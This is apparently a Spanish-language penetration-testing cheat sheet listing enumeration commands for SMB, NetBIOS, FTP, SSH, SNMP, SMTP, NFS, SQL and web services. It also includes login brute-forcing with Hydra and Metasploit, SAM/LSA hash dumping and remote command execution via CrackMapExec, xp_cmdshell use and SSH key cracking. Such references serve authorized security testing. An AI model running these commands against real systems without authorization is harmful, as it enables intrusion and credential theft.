# Enumeración

## SMB y NetBIOS

Los puertos a revisar son:

* [137 UDP (name services)](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc738412\(v=ws.10\))
* 138 UDP (datagram services)
* 139 TCP (session services)
* 445 TCP (Microsoft-DS)

{% tabs %}
{% tab title="NetBIOS usando NMAP" %}
Validación de si está corriendo el protocolo NetBIOS:

```bash
nmap -sS -sU -p137,138,139,445 --open -Pn -n 192.168.1.1
```

{% endtab %}

{% tab title="Nbtstat para Windows" %}

* [Nbtstat](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc940106\(v=technet.10\))

> Si dentro de la consulta del comando se tiene un valor numérico `<20>`, equivale a un server service, que corresponde a archivos e impresoras compartidas.

Chequeo de si posee algún share:

```batch
nbtstat -n
nbtstat -A 192.168.1.1
nbtstat -a hostname
```

* `-n` lista NetBIOS locales
* `-A` lista NetBIOS remotos usando dirección IP
* `-a` lista NetBIOS remotos usando hostname
  {% endtab %}

{% tab title="Nbtscan" %}
Chequeo de si posee algún share:

```bash
nbtscan -v 192.168.1.1
nbtscan -v 192.168.1.0/24
```

* `-v` verbose
  {% endtab %}
  {% endtabs %}

{% tabs %}
{% tab title="Net View para Windows" %}

* [Net View](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/hh875576\(v=ws.11\))

Validar si el target se encuentra compartiendo algún recurso:

```batch
net view 192.168.1.1
```

{% endtab %}

{% tab title="SMBClient" %}
Validar si el target se encuentra compartiendo algún recurso:

```bash
smbclient -L 192.168.1.1
```

* `-L` lista los recursos compartidos del target
  {% endtab %}

{% tab title="Net Use para Windows" %}

* [Net Use](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-xp/bb490717\(v=technet.10\))

Chequear el contenido de los shares:

```batch
net use K: \\192.168.1.1\c
```

> Se ingresa la letra del volumen donde queremos montar el share.
> {% endtab %}

{% tab title="SMBmap" %}

```bash
smbmap -u 'admin' -p 'pass' -d MYGROUP -H 192.168.1.1
smbmap -u 'admin' -p 'pass' -H 192.168.1.1
smbmap -H 192.168.1.1
smbmap -u 'admin' -p 'pass' -d domain.com -H 192.168.1.1 -x 'ipconfig /all'
smbmap -L -u '' -p '' -H 192.168.1.1
smbmap -r -u '' -p '' -H 192.168.1.1
```

* `-u` indicamos el usuario para autenticarnos
* `-p` password de autenticación
* `-d` dominio del usuario, por defecto es WORKGROUP
* `-H` target
* `-L` lista todas las unidades del target
* `-r` lista el contenido de un directorio, por defecto es la raíz de todos los shares
  {% endtab %}
  {% endtabs %}

{% tabs %}
{% tab title="Nmblookup" %}

```bash
nmblookup -A 192.168.1.1
```

{% endtab %}

{% tab title="Mountar shares" %}

#### Mount

```bash
mount.cifs //192.168.1.1/C /media/K_share/ user=,pass=
```

#### Showmount

```bash
showmount -e 192.168.1.1
```

* `-e` muestra las rutas que posee montadas
  {% endtab %}

{% tab title="Fuerza bruta a SMB" %}

```bash
hydra -L users.txt -P /usr/share/john/password.lst 192.168.1.1 smb 
hydra -L users.txt -P /usr/share/john/password.lst 192.168.1.1 smb -f
```

* `-f` especifica que se cierre después del primer usuario válido
  {% endtab %}

{% tab title="Enumeración usando CrackMapExec" %}
Para obtener información sobre el OS del target:

```bash
crackmapexec smb 192.168.1.1
```

Si queremos obtener los shares, discos, sesiones, usuarios logueados o políticas de contraseñas del target, usar los siguientes comandos:

```bash
crackmapexec smb 192.168.1.1 -u '' -p '' --shares
crackmapexec smb 192.168.1.1 -u '' -p '' --local-auth --shares
crackmapexec smb 192.168.1.1 -u '' -p '' -d '' --shares
crackmapexec smb 192.168.1.1 -u '' -p '' --share share_name
crackmapexec smb 192.168.1.1 -u '' -p '' --sessions
crackmapexec smb 192.168.1.1 -u '' -p '' --disks
crackmapexec smb 192.168.1.1 -u '' -p '' --loggedon-users
crackmapexec smb 192.168.1.1 -u '' -p '' --pass-pol
```

Obtener hashes:

```bash
crackmapexec smb 192.168.1.1 -u '' -p '' -d '' --sam
crackmapexec smb 192.168.1.1 -u '' -p '' -d '' --lsa
```

Ejecución de comandos:

```bash
crackmapexec smb 192.168.1.1 -u '' -p '' -x BATCH_COMMAND
crackmapexec smb 192.168.1.1 -u '' -p '' -X PS_COMMAND
```

{% endtab %}
{% endtabs %}

## Null Session

Validar si podemos obtener información sin usar un usuario válido.

{% tabs %}
{% tab title="Null Session usando Net Use en Windows" %}

```batch
net use \\192.168.1.1\IPC$ "" /u:""
```

* Si se posee una respuesta `The command completed successfully` es que tenemos un null session
* El primer valor entre comillas es la password y el parámetro `/u:""` es el usuario (ambos deben esta vacíos)
  {% endtab %}

{% tab title="Null Session usando Winfo en Windows" %}

```batch
winfo 192.168.1.1 -n
```

* `-n` indica que se establecerá una null session
  {% endtab %}
  {% endtabs %}

{% tabs %}
{% tab title="Enum4linux" %}

```bash
enum4linux -a 192.168.1.1
```

{% endtab %}

{% tab title="Rpcclient" %}
Podemos ingresar usando rpcclient, o podemos usar un comando oneline.

Si ingresamos usando rpcclient, usamos el siguiente comando:

```bash
rpcclient -N -U '' 192.168.1.1
```

Luego, podemos usar los siguiente comandos:

```
enumdomusers
enumalsgroups
srvinfo
lookupnames
queryuser [id]
enumprivs
```

* `-N` no envía una password
* `-U ''` dejamos el usuario vacío
* `enumdomusers` enumeramos usuarios del dominio
* `enumalsgroups` enumerar alias de grupos
* `srvinfo` información del servidor
* `lookupnames` buscamos nombres
* `queryuser` información de consultas de usuario
* `enumprivs` enumeramos los privilegios

Cuando queremos hacer esto en una sola línea, usar el siguiente comando:

```bash
rpcclient -N -U '' 192.168.1.1 -c enumdomusers
```

{% endtab %}
{% endtabs %}

## FTP

{% tabs %}
{% tab title="Enumerar FTP usando NMAP" %}

```bash
nmap -sV -script *ftp* -p20,21 192.168.1.1
nmap -sV -script *ftp* --script-args=unsafe=1 -p20,21 192.168.1.1
```

* `-sV` identificación de la versión del servicio
* `-script *ftp*` usamos los scripts asociados a FTP
* `--script-args=unsafe=1` se ejecutarán secuencias de comandos que están casi (o totalmente) garantizadas para bloquear un sistema vulnerable. No se recomienda usar este parámetro en un entorno productivo
  {% endtab %}

{% tab title="FTP Checklist" %}
Se recomienda realizar el siguiente checklist:

* Autenticarse con credenciales anonimas:

```bash
ftp 192.168.1.1
anonymous
anonymous
```

* Descargar archivos:

```bash
wget -m ftp://anonymous:anonymous@192.168.1.1
wget -m --no-passive ftp://anonymous:anonymous@192.168.1.1
```

* Subir archivos:

```bash
ftp 192.168.1.1
anonymous
anonymous
put file.txt
```

{% endtab %}
{% endtabs %}

## SSH

{% tabs %}
{% tab title="Enumerar SSH usando NMAP" %}

```bash
nmap -sV -script *ssh* -p22 192.168.1.1
```

{% endtab %}

{% tab title="Enumerar SSH usando Metasploit" %}
Validamos versión del servicio SSH:

```bash
msfconsole -q
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.1
run
```

Enumeramos usuarios válidos:

```bash
msfconsole -q
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.1
set USER_FILE /opt/SecLists/Usernames/Names/names.txt
run
```

{% endtab %}

{% tab title="Fuerza bruta a SSH" %}

* Hydra:

```bash
hydra -L usernames.txt -P password.txt 192.168.1.1 ssh 2/dev/null
```

* Metasploit:

```bash
msfconsole -q
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.0/24
set USER_FILE usernames.txt 
set PASS_FILE password.txt
run
```

{% endtab %}
{% endtabs %}

{% tabs %}
{% tab title="Obtener password de archivo id\_rsa" %}

```bash
ssh2john id_rsa > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
```

{% endtab %}

{% tab title="Acceso SSH usando archivo id\_rsa" %}

```bash
chmod 600 id_rsa
ssh -i id_rsa root@192.168.1.1
```

{% endtab %}
{% endtabs %}

## SNMP

{% tabs %}
{% tab title="Enumeración de SNMP usando NMAP" %}

```bash
nmap -sU -p161 -script *snmp* 192.168.1.1
```

{% endtab %}

{% tab title="Enumeración de comunidades SNMP" %}

```bash
onesixtyone -c /usr/share/doc/onesixtyone/dict.txt 192.168.1.1
```

{% endtab %}
{% endtabs %}

{% tabs %}
{% tab title="Enumeración usando SNMPEnum" %}

```bash
perl snmpenum.pl 192.168.1.1 public windows.txt
perl snmpenum.pl 192.168.1.1 public linux.txt
```

{% endtab %}

{% tab title="Enumeración usando snmp-check" %}

```bash
snmp-check 192.168.1.1
snmp-check 192.168.1.1 -c public
```

{% endtab %}
{% endtabs %}

{% tabs %}
{% tab title="Enumeración manual de SNMP" %}

```bash
snmpwalk -v 1 -c public 192.168.1.1
snmpwalk -v 1 -c public 192.168.1.1 | grep hrSWInstalledName
snmpwalk -v 1 -c public 192.168.1.1 | grep udpLocalPort
snmpwalk -v 1 -c public -t 10 192.168.1.1 1.3.6.1.4.1.77.1.2.25 # Usernames
snmpwalk -v 1 -c public -t 10 192.168.1.1 1.3.6.1.2.1.25.4.2.1.2 # Procesos
snmpwalk -v 1 -c public -t 10 192.168.1.1 1.3.6.1.2.1.6.13.1.3 # Puertos TCP locales
snmpwalk -v 1 -c public -t 10 192.168.1.1 1.3.6.1.2.1.25.6.3.1.2 # Software instalado
```

{% endtab %}
{% endtabs %}

## SMTP

{% tabs %}
{% tab title="Enumeración de SMTP usando NMAP" %}

```bash
nmap -script *smtp* -sV -p25 192.168.1.1
```

{% endtab %}

{% tab title="Enumeración manual de usuarios SMTP" %}

```bash
./smtp-user-enum.py -i 192.168.1.10 -w user_list.txt
./smtp-user-enum.py -m ip_list.txt -w user_list.txt
```

> El script se encuentra en el siguiente [link](https://github.com/W0lfF4ng/CheatSheet/blob/main/tools/smtp-user-enum.py).
> {% endtab %}
> {% endtabs %}

## RPC Bind y NFS

{% tabs %}
{% tab title="Enumeración de RPC Bind y NFS usando NMAP" %}

```bash
nmap -sV -sC -p111,2049 192.168.1.1
nmap -sV -p111 --script rpcinfo 192.168.1.1
nmap --script='nfs*' -p111,2049 192.168.1.1
```

{% endtab %}

{% tab title="Montar carpetas NFS" %}
Si tenemos una carpeta compartida, podemos montarla de la siguiente forma:

```bash
cd /mnt ; mkdir temp
mount -t nfs -o nolock,nfsvers=3 192.168.1.1:/share_name temp/
```

En caso de que no tengamos permisos para ver los archivos de dicha carpeta, o estos aparezcan con el usuario `nobody`, debemos crear uno con el mismo nombre, UID y GID obtenido del comando NMAP:

```bash
adduser new_user
sed -i -e 's/old_id/new_id/g' /etc/passwd
grep new_user /etc/passwd
```

{% endtab %}
{% endtabs %}

## SQL

{% tabs %}
{% tab title="MS SQL" %}

> Información [extra](https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server).

* Enumeración usando NMAP:

```bash
nmap -sV -p1433 --script=ms-sql* 192.168.1.1
nmap -sV -p1433 --script=ms-sql* --script-args=mssql.instance-port=1433,mssql.username-sa,mssql.password-sa 192.168.1.1
```

* Enumeración usando Metasploit módulo mssql\_ping:

```bash
msfconsole -q
use auxiliary/scanner/mssql/mssql_ping
set RHOSTS 192.168.1.200-254
set THREADS 20
run
```

* Fuerza bruta al login:

```bash
msfconsole -q
use auxiliary/scanner/mssql/mssql_login
set RHOSTS 192.168.1.1
set USER_FILE /opt/SecLists/Usernames/mssql-usernames-nansh0u-guardicore.txt
set PASS_FILE /usr/share/wordlists/rockyou.txt
run
```

* Autenticarse y ejecución de comandos:

```bash
sqsh -S 192.168.1.1 -U username -P password -D database
xp_cmdshell 'whoami'
go
```

{% endtab %}

{% tab title="MySQL" %}

> Información [extra](https://book.hacktricks.xyz/pentesting/pentesting-mysql).

* Enumeración usando NMAP:

```bash
nmap -sV -p3306 --script=mysql* 192.168.1.1
```

* Conección local:

```bash
mysql -u root # conectarse con el usuario root sin usar password
mysql -u root -p # se solicitará una password de acceso
```

* Conexión remota:

```bash
mysql -h 192.168.1.1 -u root
mysql -h 192.168.1.1 -u root -p
```

{% endtab %}
{% endtabs %}

## Web

{% tabs %}
{% tab title="Web Checklist" %}

* Buscar usuarios en el certificado SSL/TLS
* Ver el código fuente
* Validar los archivos `robots.txt`, `.htaccess`, `.htpasswd`
* Ver la consola del navegador
* Ejecutar un crawler usando Burp Suite
* Enumerar usando sslyze:

```bash
sslyze www.w0lff4ng.org
```

* Enumerar usando NMAP:

```bash
nmap -sV -p80,443 --script=http* 192.168.1.1
```

* Buscar información en los headers HTTP:

```bash
whatweb https://www.w0lff4ng.org
whatweb https://www.w0lff4ng.org -v
```

* Enumerar usando nikto:

```bash
nikto -host https://www.w0lff4ng.org
```

* Enumerar directorios web:

```bash
./dirsearch.py -u https://www.w0lff4ng.org -w /opt/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --full-url
```

{% endtab %}

{% tab title="Wordpress" %}

* Enumeración usando wpscan:

```bash
wpscan --url http://192.168.1.1 -e u,vp,vt
wpscan --url http://192.168.1.1 --usernames admin --passwords /usr/share/wordlists/rockyou.txt
```

* Enumeración usando CMSmap:

```bash
cmsmap http://192.168.1.1 -f W
```

{% endtab %}

{% tab title="Joomla" %}

* Enumeración usando

```bash
joomscan -u http://192.168.1.1
joomscan -u http://192.168.1.1 --enumerate-components
```

* Enumeración usando CMSmap:

```bash
cmsmap http://192.168.1.1 -f J
```

{% endtab %}
{% endtabs %}
